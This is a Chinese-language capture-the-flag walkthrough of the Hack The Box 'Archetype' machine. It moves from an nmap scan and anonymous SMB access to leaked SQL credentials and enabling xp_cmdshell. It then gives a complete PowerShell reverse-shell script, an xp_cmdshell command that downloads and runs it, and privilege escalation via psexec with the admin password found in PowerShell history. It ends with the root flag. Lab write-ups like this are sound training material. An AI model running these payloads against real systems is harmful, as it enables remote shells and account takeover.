hackthebox-Archetype


前言

Starting Point->Connect to Starting Point,下拉下載你的vpn文件

得到的.ovpn文件可以直接放在kali,執行openvpn XXX.opvn即可連接到靶場

信息收集

靶場地址:10.10.10.27
先上nmap:

nmap -sC -sV 10.10.10.27
  • -sC:使用默認腳本進行掃描,等同於–script=default
  • -sV:探測開啟的端口來獲取服務、版本信息
    得到信息如下:
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-06-23T05:35:15
|_Not valid after:  2051-06-23T05:35:15
|_ssl-date: 2021-06-23T05:58:16+00:00; +18m27s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h42m26s, deviation: 3h07m50s, median: 18m26s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-22T22:58:01-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-23T05:58:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

smb匿名訪問

可以看到445端口和1433端口是開放的,分別對應的是smb和sql server服務。
這值得我們去檢查它是否存在匿名訪問許可,因為共享文件里通常會儲存一些密碼或者敏感信息的配置文件。我們可以嘗試去查看有哪些共享文件。(smbclient命令詳解:http://www.linuxso.com/command/smbclient.html

smbclient -N -L //10.10.10.27/
  • -N:匿名登錄
  • -L:獲取共享資源列表
    發現一個backups的目錄
    我們嘗試匿名訪問:
smbclient -N //10.10.10.27/backups

ls查看,有一個prod.dtsConfig文件
我們可以進行查看more prod.dtsConfig
也可以下載下來查看:get prod.dtsConfig

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

從這個信息中我們得到sql server的用戶和密碼

impacket工具

接下來是工具impacket的下載和使用
我們可以使用docker安裝
拉取鏡像:docker build -t "impacket:latest"
創建容器: docker run -it --rm "impacket:latest"

也可以使用git下載:git clone https://github.com/CoreSecurity/impacket.git
此處也提供一個藍奏雲下載鏈接:藍奏雲,密碼:9hkk

安裝
安裝的時候可能會遇到一些環境兼容的問題,此處我使用的kali2020,由於多久沒有使用了,先apt-get update一波,然后再安裝python3,apt-get install python3 -y
解壓並安裝:

unzip impacket-master.zip
cd impacket/
python3 -m pip install .

安裝完成后,可以進去看有哪些腳本:cd impacket/examples
我們需要的腳本是mssqlclient.py
利用前面泄露的id和密碼登陸(ARCHETYPE\sql_svcM3g4c0rp123
使用腳本(mssqlclient.py user@ip -windows-auth,我們可以直接運行mssqlclient.py,會有如何使用的提示):

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

輸入密碼:M3g4c0rp123

執行SELECT IS_SRVROLEMEMBER('sysadmin'),查看權限
返回值是1,代表true,說明當前用戶具有sysadmin權限,能夠在靶機上使用SQL Server的xp_cmdshell來進行遠程代碼執行
我們可以執行下列代碼:

 EXEC sp_configure 'Show Advanced Options', 1;			\\使用sp_configure系統存儲過程,設置服務器配置選項,將Show Advanced Options設置為1時,允許修改數據庫的高級配置選項
 reconfigure;											\\確認上面的操作
 sp_configure;											\\查看當前sp_configure配置情況
 EXEC sp_configure 'xp_cmdshell', 1						\\使用sp_configure系存儲過程,啟用xp_cmdshell參數,來允許SQL Server調用操作系統命令
 reconfigure;											\\確認上面的操作
 xp_cmdshell "whoami" 									\\在靶機上調用cmdshell執行whoami

shell反彈

獲取操作系統普通用戶權限前,我們擁有了數據庫的shell,也可以使用部分操作系統的命令,但是需要一個直接的操作系統shell來進行后續的操作
在桌面建立一個powershell的反彈shell文件shell.ps1(注意修改其中的ip地址為接收shell的kali主機的地址),代碼如下:

$client = New-Object System.Net.Sockets.TCPClient("192.168.15.128",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

文件格式是powershell,后綴是.psl,我們暫且命名為shell.psl

kali中利用python搭建小型web服務:python3 -m http.server 80
開啟監聽:nc -lvnp 443

數據庫shell執行(ip記得替換):

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"

在此處的時候我遇到了如下問題,執行回顯不能連接遠程服務器(我后續想了一下,難道是kali機的防火牆的問題,不對啊,http://192.168.15.128也能訪問的,難道是不在10段被過濾了?后續就沒有再去驗證了,希望有知道原因的讀者可以指點一下筆者,在此多謝了):

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"
output                                                                             

--------------------------------------------------------------------------------   

Exception calling "DownloadString" with "1" argument(s): "Unable to connect to the remote server"   

At line:1 char:1                                                                   

+ IEX (New-Object Net.WebClient).DownloadString("http://192.168.15.128/ ...        

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~            

    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException      

    + FullyQualifiedErrorId : WebException                                         

                                                                                   

NULL                                                                               

SQL> 

據網友的截圖顯示如下,說明成功:

可以看到有一個user.txt
netcat中執行:type C:\Users\sql_svc\Desktop\user.txt

由於這是一個普通的用戶帳戶以及服務帳戶,因此通常檢查訪問文件或執行的命令。我們可以使用下面的命令訪問PowerShell歷史文件。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt

提權

發現administrator用戶登錄后將共享文件夾\Archetype\backups映射到T盤,后面是administrator用戶名和它的密碼(administratorMEGACORP_4dm1n!!),可以使用Impacket中的psexec.py來提權:

psexec.py administrator@10.10.10.27 

執行以下命令獲取管理員的flag:type C:\Users\Administrator\Desktop\root.txt

flag:b91ccec3305e98240082d4474b848528

參考

部分參考:https://blog.csdn.net/qq_45951598/article/details/115269502
以及參考官方wp:有時間再放個官方wp文件的鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM